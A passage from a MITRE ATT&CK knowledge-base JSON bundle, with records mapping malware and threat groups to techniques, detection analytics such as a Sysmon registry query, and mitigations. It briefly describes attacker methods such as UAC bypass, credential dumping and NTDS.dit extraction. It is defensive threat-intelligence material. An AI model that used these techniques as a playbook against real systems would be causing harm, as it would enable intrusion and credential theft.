"x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c33c9cd-afac-490a-b487-bd97c93a14cc", "type": "relationship", "created": "2020-10-27T19:26:38.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BLINDINGCAN Aug 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}], "modified": "2020-11-09T21:54:39.179Z", "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has downloaded files to a victim machine.(Citation: US-CERT BLINDINGCAN Aug 2020)", "relationship_type": "uses", "source_ref": "malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1c3405bf-e044-470d-a69f-f6fa8028c2ee", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TechNet Autoruns", "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. 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Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)\n\nAnalytic 1 - Modification of the HKLM\\System\\CurrentControlSet\\Services Registry key\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (13, 14) EventType= \"SetValue\" TargetObject=\"HKLM\\System\\CurrentControlSet\\Services\\*\" | where RegistryKeyPath LIKE \"%ImagePath%\" OR \n   RegistryKeyPath LIKE \"%Type%\" OR\n   RegistryKeyPath LIKE \"%DisplayName%\" OR\n   RegistryKeyPath LIKE \"%Objectname%\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c360b2c-8004-4978-ba70-b0bb2257a791", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}], "modified": "2020-03-20T01:55:35.008Z", "description": "[Mosquito](https://attack.mitre.org/software/S0256) runs <code>whoami</code> on the victim\u2019s machine.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c395bb3-3b16-422f-bb00-9048b67b2337", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint ZeroT Feb 2017", "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}], "modified": "2020-03-17T02:54:39.714Z", "description": "Many [ZeroT](https://attack.mitre.org/software/S0230) samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.(Citation: Proofpoint ZeroT Feb 2017)", "relationship_type": "uses", "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c3bc7ec-cabe-4c8f-9d6e-99afd877e845", "type": "relationship", "created": "2020-05-26T21:02:38.507Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Netwalker May 2020", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", "description": "Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}], "modified": "2020-06-08T16:07:36.276Z", "description": "[Netwalker](https://attack.mitre.org/software/S0457) can determine the system architecture it is running on to choose which version of the DLL to use.(Citation: TrendMicro Netwalker May 2020)", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c3d2111-f234-4624-999e-ce902367c212", "type": "relationship", "created": "2019-04-17T18:43:36.391Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2019-04-22T20:29:31.392Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) downloads and executes additional files from a remote server. (Citation: CheckPoint SpeakUp Feb 2019)", "relationship_type": "uses", "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1c40e6c8-1a0e-41f7-8aa7-9ae294712fbe", "created": "2022-04-18T13:39:46.312Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can conduct an image hijack of an `.msc` file extension as part of its UAC bypass process.(Citation: GitHub SILENTTRINITY Modules July 2019)", "modified": "2022-04-18T13:39:46.312Z", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c44fd69-456d-43af-ae85-73239e295ff0", "type": "relationship", "created": "2021-03-25T13:53:09.037Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Google Election Threats October 2020", "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."}, {"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T14:49:34.842Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used GitHub to host malware linked in spearphishing e-mails.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1c4654e5-eac8-41e1-8da9-f88cadc6cc20", "created": "2024-03-25T21:16:07.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MSTIC Octo Tempest Operations October 2023", "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-18T17:43:14.245Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) has extracted the `NTDS.dit` file by creating volume shadow copies of virtual domain controller disks.(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c47aa23-d267-49f3-9faf-c45b6de0ad6e", "type": "relationship", "created": "2020-03-13T19:41:37.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-26T18:31:35.168Z", "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c4e80fb-740d-4318-8047-0668566ce38e", "type": "relationship", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.845Z", "description": "Monitor for newly constructed files that are added to absolute paths of shared libraries such as LD_PRELOAD on Linux and DYLD_INSERT_LIBRARIES on macOS.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c4fd1a5-c3a4-4f71-8310-785962dc65d4", "type": "relationship", "created": "2021-09-28T20:02:51.487Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-09-28T20:02:51.487Z", "description": "[BoxCaon](https://attack.mitre.org/software/S0651) has searched for files on the system, such as documents located in the desktop folder.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c548d89-557e-4c48-9b71-8a761d94e77b", "type": "relationship", "created": "2019-04-22T19:39:48.825Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", "source_name": "US-CERT HOPLIGHT Apr 2019"}], "modified": "2019-04-22T19:41:53.522Z", "description": "A variant of [HOPLIGHT](https://attack.mitre.org/software/S0376) hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key <code>SYSTEM\\CurrentControlSet\\Control\\Lsa Name</code>.(Citation: US-CERT HOPLIGHT Apr 2019)", "relationship_type": "uses", "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c5b0ac8-43bb-4e04-812a-e3518755f84e", "type": "relationship", "created": "2022-03-30T14:26:51.846Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.846Z", "description": "Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that <code>AuthorizationExecuteWithPrivileges</code> is being executed. MacOS system logs may also indicate when <code>AuthorizationExecuteWithPrivileges</code> is being called.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c5b8ff2-400a-4e0f-a819-3cc8f1bc76b8", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://adsecurity.org/?page_id=1821", "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", "source_name": "Adsecurity Mimikatz Guide"}], "modified": "2019-04-24T23:36:42.321Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>CRYPTO::Extract</code> module can extract keys by interacting with Windows cryptographic application programming interface (API) functions.(Citation: Adsecurity Mimikatz Guide)", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1c61ec55-92dd-4bab-8a1d-fcadafc17dfe", "created": "2024-03-01T18:58:24.972Z", "revoked": false, "external_references": [{"source_name": "Leonard TAG 2023", "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-01T18:58:24.972Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) used information stealer malware to collect browser session cookies.(Citation: Leonard TAG 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c69d2f9-1152-415a-9294-808886999e04", "type": "relationship", "created": "2021-10-13T21:34:46.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro KillDisk 1", "url": "https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html", "description": "Fernando Merces, Byron Gelera, Martin Co. (2018, June 7). KillDisk Variant Hits Latin American Finance Industry. Retrieved January 12, 2021."}], "modified": "2021-10-13T21:34:46.782Z", "description": "[KillDisk](https://attack.mitre.org/software/S0607) has called the Windows API to retrieve the hard disk handle and shut down the machine.(Citation: Trend Micro KillDisk 1)", "relationship_type": "uses", "source_ref": "malware--e221eb77-1502-4129-af1d-fe1ad55e7ec6", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c6f35f0-1169-4218-9881-7291e1765cd8", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Emissary Trojan Feb 2016", "description": "Falcone, R. and Miller-Osborn, J. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"}], "modified": "2021-08-27T14:42:00.528Z", "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) have used rundll32.exe in Registry values added to establish persistence.(Citation: Emissary Trojan Feb 2016)", "relationship_type": "uses", "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c715763-19ea-475d-9d5c-8d4434b4095f", "type": "relationship", "created": "2019-04-23T14:59:04.155Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:48.952Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) has a number of modules that use WMI to execute tasks.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1c743268-3f64-4cc6-b911-c5ebf79310a7", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-10T17:58:29.713Z", "description": "Monitor for unexpected changes to cloud user accounts, such as Azure Activity Logs highlighting malicious Service Principal and Application modifications. \n\nMonitor for the use of API and CLI commands that add access keys or tokens to accounts, such as <code>CreateAccessKey</code> or <code>GetFederationToken</code> in AWS or <code>service-accounts keys create</code> in GCP. Also monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1c7681f4-4dc4-4722-9fcc-a79712fe502e", "created": "2022-02-09T14:32:47.575Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has decoded malicious VBScripts using Base64.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T16:02:40.119Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1c7b9a1b-e874-4881-884a-e3c3d1fd8aed", "created": "2017-05-31T21:33:27.032Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Cleaver](https://attack.mitre.org/groups/G0003) has been known to dump credentials using Mimikatz and Windows Credential Editor.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c7e778c-4193-44e5-85b4-ba7e7668455f", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "source_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", "target_ref": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c812537-dfaf-40da-a71b-a49c18870b77", "type": "relationship", "created": "2017-05-31T21:33:27.058Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", "source_name": "FireEye Operation Double Tap"}], "modified": "2019-04-29T18:01:20.688Z", "description": "(Citation: FireEye Operation Double Tap)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c8208ad-b295-4e39-a928-40fc49f68fb4", "type": "relationship", "created": "2019-06-04T13:43:04.496Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/", "source_name": "Unit42 Xbash Sept 2018"}], "modified": "2019-06-28T15:15:54.581Z", "description": "[Xbash](https://attack.mitre.org/software/S0341) has destroyed Linux-based databases as part of its ransomware capabilities.(Citation: Unit42 Xbash Sept 2018)\t", "relationship_type": "uses", "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c8634d8-21a1-46a5-a1fd-eaaff6eed7a6", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Sofacy Feb 2018", "description": "Lee, B, et al. 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Retrieved December 4, 2020."}], "modified": "2020-12-07T19:39:17.408Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) has conducted C2 communications with a Dropbox account using the HTTP API.(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1caa0b51-4e91-4c1b-bec5-53592ab9d08a", "type": "relationship", "created": "2020-08-04T19:13:49.954Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Sodinokibi July 2019", "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html", "description": "Cylance. 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Retrieved August 4, 2020."}], "modified": "2020-08-05T19:18:46.739Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can use the Windows command line to delete volume shadow copies and disable recovery.(Citation: Cylance Sodinokibi July 2019)(Citation: Talos Sodinokibi April 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1cabd067-2229-488f-a244-03aa087b7e54", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. 